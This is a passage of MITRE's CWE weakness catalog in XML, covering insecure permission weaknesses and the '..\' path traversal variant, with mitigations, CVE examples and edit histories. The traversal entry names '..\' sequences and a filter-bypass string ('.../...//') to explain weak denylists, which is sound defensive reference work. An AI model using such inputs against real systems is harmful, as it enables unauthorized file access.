					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Description, Detection_Factors, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Description, Modes_of_Introduction, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-25</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
      <Previous_Entry_Name Date="2009-05-27">Insecure Default Permissions</Previous_Entry_Name>
     </Content_History>
   </Weakness>
      <Weakness ID="277" Name="Insecure Inherited Permissions" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>A product defines a set of insecure permissions that are inherited by objects that are created by the program.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="732" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-1">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Description>Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-46">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>
                  <xhtml:p>Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.</xhtml:p>
                  <xhtml:p>Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-1841</Reference>
               <Description>User's umask is used when creating temp files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1841</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1786</Reference>
               <Description>Insecure umask for core dumps [is the umask preserved or assigned?].</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1786</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Insecure inherited permissions</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="278" Name="Insecure Preserved Inherited Permissions" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>A product inherits a set of insecure permissions for an object, e.g. when copying from an archive file, without user awareness or involvement.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="732" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-1">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Description>Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-46">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>
                  <xhtml:p>Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.</xhtml:p>
                  <xhtml:p>Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-1724</Reference>
               <Description>Does not obey specified permissions when exporting.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1724</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Insecure preserved inherited permissions</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="279" Name="Incorrect Execution-Assigned Permissions" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>While it is executing, the product sets the permissions of an object in a way that violates the intended permissions that have been specified by the user.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="732" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-1">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Description>Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-46">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>
                  <xhtml:p>Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.</xhtml:p>
                  <xhtml:p>Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0265</Reference>
               <Description>Log files opened read/write.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0265</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0876</Reference>
               <Description>Log files opened read/write.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0876</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1694</Reference>
               <Description>Log files opened read/write.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1694</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Insecure execution-assigned permissions</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO06-C</Entry_ID>
               <Entry_Name>Create files with appropriate access permissions</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>FIO01-J</Entry_ID>
               <Entry_Name>Create files with appropriate access permission</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="81"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-05-27">Insecure Execution-assigned Permissions</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="28" Name="Path Traversal: '..\filedir'" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "..\" sequences that can resolve to a location that is outside of that directory.</Description>
         <Extended_Description>
            <xhtml:p>This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.</xhtml:p>
            <xhtml:p>The '..\' manipulation is the canonical manipulation for operating systems that use "\" as directory separators, such as Windows. However, it is also useful for bypassing path traversal protection schemes that only assume that the "/" separator is valid.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="23" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Operating_System Class="Windows" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.</xhtml:p>
                  <xhtml:p>Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0661</Reference>
               <Description>"\" not in denylist for web server, allowing path traversal attacks when the server is run in Windows and other OSes.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0661</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0946</Reference>
               <Description>Arbitrary files may be read files via ..\ (dot dot) sequences in an HTTP request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0946</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1042</Reference>
               <Description>Directory traversal vulnerability in search engine for web server allows remote attackers to read arbitrary files via "..\" sequences in queries.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1042</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1209</Reference>
               <Description>Directory traversal vulnerability in FTP server allows remote attackers to read arbitrary files via "..\" sequences in a GET request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1209</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1178</Reference>
               <Description>Directory traversal vulnerability in servlet allows remote attackers to execute arbitrary commands via "..\" sequences in an HTTP request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1178</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>'..\filename' ('dot dot backslash')</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Dot Dot Backslash - '..\filename'</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-10-14">Path Traversal: '..\filename'</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="280" Name="Improper Handling of Insufficient Permissions or Privileges " Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not handle or incorrectly handles when it has insufficient privileges to access resources or functionality as specified by their permissions. This may cause it to follow unexpected code paths that may leave the product in an invalid state.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="755" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Impact>Alter Execution Logic</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-46">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>
                  <xhtml:p>Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.</xhtml:p>
                  <xhtml:p>Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Always check to see if you have successfully accessed a resource or system functionality, and use proper error handling if it is unsuccessful. Do this even when you are operating in a highly privileged mode, because errors or environmental conditions might still cause a failure. For example, environments with highly granular permissions/privilege models, such as Windows or Linux capabilities, can cause unexpected failures.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
